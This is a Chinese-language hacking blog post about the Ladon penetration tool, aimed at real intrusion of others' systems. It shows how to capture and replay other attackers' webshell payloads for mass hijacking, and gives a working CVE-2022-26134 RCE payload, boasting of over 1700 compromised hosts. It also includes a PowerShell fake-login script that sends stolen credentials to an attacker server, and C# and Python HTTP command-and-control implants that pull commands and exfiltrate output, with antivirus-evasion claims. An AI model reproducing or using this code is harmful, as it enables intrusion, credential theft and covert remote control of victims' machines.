Ladon捕获0day payload批量getshell 转载于: k8gege [url=]K8实验室[/url] 2022-08-03 23:31 发表于广西 收录于合集 #Ladon36个 #LadonExp3个 #漏洞复现6个 #EXP7个 #getshell1个 背景 使用2011版菜刀访问某个webshell,发现被WAF拦截,,使用2016版可连,想看一下两者的发包特征,搭个IIS、Apache、Nginx、Tomcat环境来看post数据,默认中间件不显示这些数据,有些人可能压根就不会搭,你本意只是想看个发包,还要浪费时间去搭环境?当然也可以使用WireShark等抓包工具,但是又不会用怎么办?没事使用Ladon一条命令就搞定,非常简单。以前教大家用过Ladon的web模块捕获windows密码、获取无回显RCE漏洞命令回显、架设WEB远程下载payload、测试漏洞等,实际上还有很多用途,比如捕获0day、捕获工具payload等
Waf拦截菜刀,无法访问webshell
0x001 Ladon捕获payload 使用 Ladon web 800 命令,一键架设迷你web服务器,将菜刀webshell地址改为ladon的web地址,连接菜刀,可以看到2011版菜刀发包特征为%40eavl%01%28base64_decode,很多WAF都可以轻易拦截。以前我发过针对一过狗菜刀被人插入后门的分析文章,由于菜刀发包基本都是Base64和URL编码,所以黑客加入后门,我们也能轻易分析出来,只是需要花时间对各类功能抓包,或者直接逆向分析,对菜刀通讯感兴趣可以看以前的文章。
同样的方法,抓取2016版菜刀payload,看到特征已进行分离可以过这个站的waf,由于2016版默认UA为百度,所以将其改为必应或google等都可以,当然通过Ladon监听来看UA是否修改成功,如下图UA已改为必应。
0x002 LadonExp提交 将抓到的payload放到post数据框,填写webshell地址,点击生成EXE,然后测试,成功回显webshell所在物理路径,以及机器名、操作系统版本等信息
Ladon提交这个包有什么用? 假设这个webshell是别人的,可能在其它站也留有相同文件名相同密码的webshell,特别是利用某个洞批量的,或者说使用一些EXP工具打的时候未修改默认密码,特别是批量那些,不确定目标是否重要时,不会去修改密码,但可能目标已经打了补丁,这时我们可以通过别人的webshell进入,但由于组织很多,我们压根不知道哪些组织打了哪些站点,所以只能把这些组织的shell以及发包特征记录下来,本地模拟成功后,批量去扫,捡别人的鱼。
由于Ladon的web只支持html,并不支持asp\php\jsp等动态脚本,所以没办法模拟菜刀成功连接后,后续的功能,所以只能监听到首次发包payload。为了能更好的批量扫描webshell,我们改用WireShark抓包。
因为不同的站点使用的操作系统不一样,未必返回共性结果,所以我们使用Echo输出IsWebShell做为回显特征,当然你抓到不同的webshell,可以返回其它特征,本文只是例子,你也可以输出xxxx-88-ttt,用一个特征,不要用webshell这种字眼,万一哪些waf杀这个字符串呢是吧,所以要举一反三。LadonEXP测试wireshark抓到的命令执行包,成功回显特征IsWebShell。
0x003 Ladon批量扫描WebShell
为了批量扫描时回显结果更好看,我们填写Poc特征X@YIswebshell,还有回显名称可以随便起个名子,如ISwebshell
webshell路径为wp58/x.php,实战别人的webshell地址可能是/auth/exchange.aspx 或者zimbra邮箱的/pulic/shell.jsp。重新生成POC,测试成功回显IsWebShell,不再有其它结果,批量时我们只看IP或者URL是否带有我们指定的特征就知道是否存在相同webshell了。 正在上传…重新上传取消
批量命令 Ladon ip.txt poc.dll 扫描IP列表Ladon url.txt poc.dll 扫描URL列表Ladon ip/24 poc.dll 扫描C段Ladon ip/b poc.dll 扫描B段Ladon cidr.txt poc.dll 扫cidr列表(如指定国家IP段)其实重要的目标也一样,假如我们通过漏洞拿到权限,发现了别人的后门,即使用了复杂密码,也可以直接扫它的密码啊,不是只能扫默认或简单的。
当然我们也可以批量执行其它命令,比如检测Zimbra版本、unrar版本等,方便研究相关漏洞,在大量实战环境下验证并完善的POC或工具才是好工具 检测目标是否安装unrar,思路是这样的因为zimbra反垃圾邮件解压RAR附件,就必须安装unrar,如果不安装,要是有人发有害的RAR是不是垃圾邮件就不检测了,相当于功能作废,有些管理员可能稍微懂一点,怕垃圾邮箱检测不到RAR里面的恶意程序,因此安装unrar呢?当然我们也知道安装unrar的概率极低,但事后验证思路确实可行,发上几个权限。针对检测出来的几个权限测试CVE-2022-30333漏洞,成功一半,就是这个路径泄露漏洞存在,但不代表100%成功,很多人测试只成功一半,认为只是成功的那些没打补丁,实际上没打补丁也没成功,因为我们有权限验证,在本身安装量小,EXP又不能保证100%成功的条件下,可能目标还装补丁,或者邮件服务器杀软检测的情况下,这种概率就更低了,说实话指定目标,确实一个没中,但我们不放弃任何一个可能性,因为不做成功率是0,做最差的结果就是0,成功就是1,光脚不怕穿鞋,还好加上点运气,发中几个。
0x004 捕获0day、1day 不知道大家有没发现,现在随便在一台VPS上开启个端口,几天之内,就有好几个扫描器光顾。有类似shodan这种搜索引擎识别资产的,也有勒索病毒这种乱扫的,当然也有一些组织使用0day或1day全网扫描的。
Ladon web 80 > 80.txtLadon web 8080 > 8080.txtLadon web 443> 443.txtLadon web 8443> 8443.txtLadon web 10000> 10000.txtLadon web 7071> 7071.txt想抓哪个端口,就监听哪个端口,当然越多越好,因为不同WEB应用,可能有它的特定端口,别人扫特定漏洞的包你可以轻松记录下来,看到没见过的POC,它不就是0day咯,当然这个概率可能比较低,或者抓到的是不太重要的0day,真正重要的如exchange、zimbra这些,可能需要高仿一些重要机构站点,才能骗到别人使用0day,针对这类0day,是不可能乱扫的,除非它是公开的才会用它来全网扫,如proxyShell等github上公开的exp利用。
0x005 快速利用EXP 假设我们抓到的是GET方式提交的CVE-2022-26134远程执行漏洞的EXP,在addurl填下以下Payload,因为这个是通用的,当我们打不同的站,就是不同的URL,所以TargetURL就是变量,其它参数就是填那些共用的。 /%24%7b(%23a=%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%22id%22).getInputStream()%2c%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2c%23a))%7d/点击编译EXE或DLL,然后测试,成功返回ID命令执行结果,由于在POC里测试返回头字段Cmd-Response,不存在漏洞的站没有该返回头。所以可以设置POC特征PocTag值为Cmd-Response,因为漏洞是CVE-2022-26134,所以Poc名称我们也设置为CVE-2022-26134,批量扫描时回显漏洞编号方便利用。
PS:如果想查看完整结果,就没必要像文章这样设置,比如可以把ID改成其它命令,直接批量做对应的事,getshell啊,不是说只能返回个漏洞编号。
独立使用 cve-2022-26134.exe http://xxx.xxx.xxx:8090批量命令 Ladon url.txt cve-2022-26134.dll 扫描URL该漏洞在6月份刚出来时,批量扫一些地区大约获取1700+权限,几天后一些站点也打了补丁。截至发文已过2个月,但还有一些站存在漏洞,大家还是可以抓几个来练习内网,再过两周或一个月,或许连几十个都扫不到了,当然我们没有针对全网,只针对一些地区而已。
0x006 监听获取工具exp 对于WEB利用工具,我们也可以把目标IP设为Ladon监听的WEB站点,执行工具后,Ladon即可截获到POC,如图所示S2-045通过POST提交payload执行whoami命令,我们拿到的POC可以用其它语言编写,或修改POC绕过WAF,毕竟以下工具很久不维护了,遇到有WAF的站点,就算不打补丁,也利用不成功,在有漏洞又有WAF的情况下就需要自己修改POC了。当然这前掉是你懂得改,只会用工具,抓出来顶多也就是拿去打没WAF的站,或者说那个WAF没针对本文工具发包进行拦截。
PS:其它工具或EXP,你也可以通过该方法快速获取,不用开什么抓包工具,在一堆请求包中查找,麻烦,大部分WEB漏洞的发包,直接Ladon监听
0x007 Ladon捕获Windonws登陆密码 版本 >= Ladon 6.6.3 内置基础认证密码解密模块,直接获取明文 ### 原理使用PowerShell模仿Windows登陆认证获取管理员密码,Ladon监听捕获基础认证密码。 ### 应用场景域控或管理员密码获取,当前权限很低又无法提权时。(有权限直接读明文或HASH) ### Ladon监听该功能模仿了MSF里的基础认证监听模块,但最大的优势在于无需占用系统大量空间和内存。可直接部署在目标内网或VPS上,也无需复杂命令,直接输以下命令一键监听自动捕获密码。 Ladon Web 800### PowerShell代码执行以下脚本代码,会弹出十分逼真的基础认证登陆窗口,自动获取用户名和域来提高真实性。当然也可以使用其它脚本或语言,如JS水坑攻击、XSS截取各种WEB邮箱密码等等多种钩鱼姿势。
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};Add-Type @'using System;public class Authorization{public static void submit(string usr,string pwd){string url = "http://192.168.1.110:8000/";System.Net.HttpWebRequest myReq = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url);string username = usr;string password = pwd;string usernamePassword = username + ":" + password;System.Net.CredentialCache mycache = new System.Net.CredentialCache();mycache.Add(new Uri(url), "Basic", new System.Net.NetworkCredential(username, password));myReq.Credentials = mycache;myReq.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(new System.Text.ASCIIEncoding().GetBytes(usernamePassword)));System.Net.WebResponse wr = myReq.GetResponse();}}'@[Authorization]::submit($cred.username, $cred.getnetworkcredential().password)
0x008 内网文件传输 使用Ladon web架设站点,在内网中使用curl、wget、powershell等命令下载文件,到内网不可出网机器。当然外网也可以,部署在VPS上,一键起WEB,对于一些webshell无法通过管理工具上传文件,但可以通过下载方式传文件时,在VPS搭个IIS、APACHE、Nginx、Tomcat等可能比较费时间,特别是网络卡时,上传下载都麻烦,但是Ladon远比以上工具小,而且仅需一条命令,即可开启安全的WEB。
0x009 获取目标外网IP
0x010 检测目标是否允许HTTP出网
0x011 简易HTTP远控 有些人比较死脑筋,明明第10条就是足以验证是否可HTTP出网,但是M有问题,非要说我在其它机子HTTP可以上线啊,肯定是目标有什么超牛B杀软。但又不去验证,但是想知道目标到底有没牛B杀软,直接通过WEB下发一条CMD命令,执行并返回结果给它就知道了,如果压根不加密,就直接通讯的情况下,目标都不拦,还不足以证明就是M的兼容性问题吗?非要在Githut上或自己拿一些绝对被杀的M,丢好几个上去种,证明确实是M的问题吗?有些人还说Ladon这个WEB不能代表真的HTTP,尼码这么死脑筋,那你也可以自己按装个IIS、APACHE、NGINX等WEB中间件搭个站点来测啊。Ladon的web专为渗透设计的,没有那些中间件支持解析运态脚本的功能,但是当成个简单的HTML网站还是可以的,这些完全可以用来做很多事,包括内网测试一些需要向外请求的DOC、PDF、浏览器等远程漏洞,如飞刀几年前提供的Word漏洞、IE漏洞等,你只需要请求个页面,又不是非要支持解析ASP\PHP\JSP这些,实际上那些IIS什么解析脚本最终也是向浏览器返回静态内容,Ladon直接返回静态内容,让你下载EXE、任意文件,你测个HTTP协议是否出网是完全没问题的,好了废话不多说,让大家了解一下CS通信原理。
前言写了几篇无回显命令执行漏洞Ladon回显方法,接下来我们它升级,既然我们可以通过漏洞执行无回显命令都可以得到回显,那么我们自己写的程序不是更轻而易举吗?所谓远控不过就是通过各种协议传输攻击者的操作指令与结果而已。早期都是用TCP协议实现,之后FTP、HTTP(什么网盘、邮箱、博客等都是并非什么新方式只是换个网址或API而已),大家常用的CS也是HTTP协议,本文用Ladon来实现个简单的C2。 ### 启动WEBLadon web 800参数 /ip.txt or ip.jpg Get Target WanIP/getstr/AnyString Get Request String/getb64/AnyString Base64 Encode (Request String)/deb64/Base64String Base64 Decode (Request String)/deb64txt/Base64String Base64 Decode Save TXT浏览器回显由于是HTTP协议,可以通过浏览器访问得到Ladon回显BASE64解密结果,就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文,但是结果中有特殊字符或换行就无法HTTP请求了,所以我们使用BASE64加密,这个原理我们在JAVA反序列化漏洞回显中有提到过。 明文回显 Base64回显 保存txt HTTP C2原理1.搭建WEB,可Apache、IIS、Tomcat或者自己研发如Ladon、CobaltStrike 2.通过HTTP协议获取指令、回传结果 3.指令执行功能(CMD执行、文件上传下载、其它功能等) try{ //首先在VPS上执行命令: Ladon web 800 一键启动服务器 //其次在Ladon根目录下放cmd.txt,里面存放要执行的命令 //第一步 获取命令 string url = "http://192.168.250.27:800/cmd.txt"; string cmd = httpget(url); //第二步 执行命令 string result = execcmd(cmd); //第三步 发送结果 //httpget("http://192.168.250.27:800/getstr/"+result); //第三步 发送结果 Base64加密支持多行结果 httpget("http://192.168.250.27:800/deb64/" + Base64_encodeUTF8(result));}catch (Exception s){ Console.WriteLine("Error: " + s.Message);}PS: 定时执行如设定5秒,就和CS原理一样了 ### HTTP下达指令、接收结果代码既然是通过HTTP实现的,那么我们当然是通过HTTP下达指令,我们可以把指令放在cmd.txt中,然后通过HTTP读取TXT内容,这不就是相当于下达指令了吗?读取到CMD后,执行CMD再将结果通过HTTP回传,所以我们可以使用同一个方法,只是下达指令和接收结果是不同URL而已。 private static string httpget(String url){ HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); request.Method = "GET"; request.Accept = "*/*"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream getStream = response.GetResponseStream(); StreamReader streamreader = new StreamReader(getStream); string result = streamreader.ReadToEnd(); Console.WriteLine(result); return result;}执行CMD通过getstr接收明文结果 执行CMD代码接收到的CMD,通过此代码执行命令并获取结果。列目录、文件下载等其它功能同理 private static string execcmd(string cmd){ Process CmdProcess = new Process(); CmdProcess.StartInfo.FileName = "cmd.exe"; CmdProcess.StartInfo.CreateNoWindow = true; CmdProcess.StartInfo.UseShellExecute = false; CmdProcess.StartInfo.RedirectStandardInput = true; CmdProcess.StartInfo.RedirectStandardOutput = true; CmdProcess.StartInfo.RedirectStandardError = true; CmdProcess.StartInfo.Arguments = "/c " + cmd; CmdProcess.Start(); string result = CmdProcess.StandardOutput.ReadToEnd(); CmdProcess.WaitForExit(); CmdProcess.Close(); return result;}### Base64加密代码由于明文传输不支持多行结果,将会导致很多命令无法通过GET方式取回显,所以我们可通过BASE64回传,既不直接暴露CMD结果,也解决了多行结果无法回显问题。 public static string Base64_encodeUTF8(string str){ return Convert.ToBase64String(Encoding.UTF8.GetBytes(str));}BASE64加密的结果传到Ladon后会自动解密,用IIS、Apache等无此功能(省去脚本编写) win10 Defender免杀测试win10最新版defender轻松免杀
免杀virscan所有杀软显然很多杀软很垃圾的,对于自己写的RAT依旧轻松免杀 ### 以色列杀软牛B突然想起还有一个杀软网站,测试后发现被以色列杀软杀了,这种出现HTTP请求和CMD执行的,那些不杀的杀软,至少也要报个可疑才对。居然不报,还是以色列牛逼 ### Python实现C2
import urllib2import timeimport osimport base64### Cobalt Strike Cheat by K8gege### http://k8gege.org/p/40523.htmldef cscheat(): opener = urllib2.build_opener() res = opener.open("http://192.168.250.27:800/cmd.txt") cmd = res.read() print cmd result = os.popen(cmd) res = result.read() cmdResult="" for line in res.splitlines(): cmdResult+=line+"\r\n" print cmdResult #opener.open("http://192.168.250.27:800/getstr/"+cmdResult) opener.open("http://192.168.250.27:800/deb64/"+base64.b64encode(cmdResult))while True: print(time.strftime('%Y-%m-%d %X',time.localtime())) cscheat() time.sleep(5)PS: 实战需要自己加工修改,本文只是简单原理演示
0x012 无回显漏洞命令回显方法 无回显命令执行漏洞之PowerShell回显JAVA反序列化漏洞命令执行回显方法log4Shell核弹级漏洞复现&Ladon批量检测
PS: 本文主讲的是Ladon一百六十个功能中的其中一个,就可在很多场景下使用,是否强大得让你害怕,起名Ladon,希腊神话中的百头巨龙,不过份吧。
|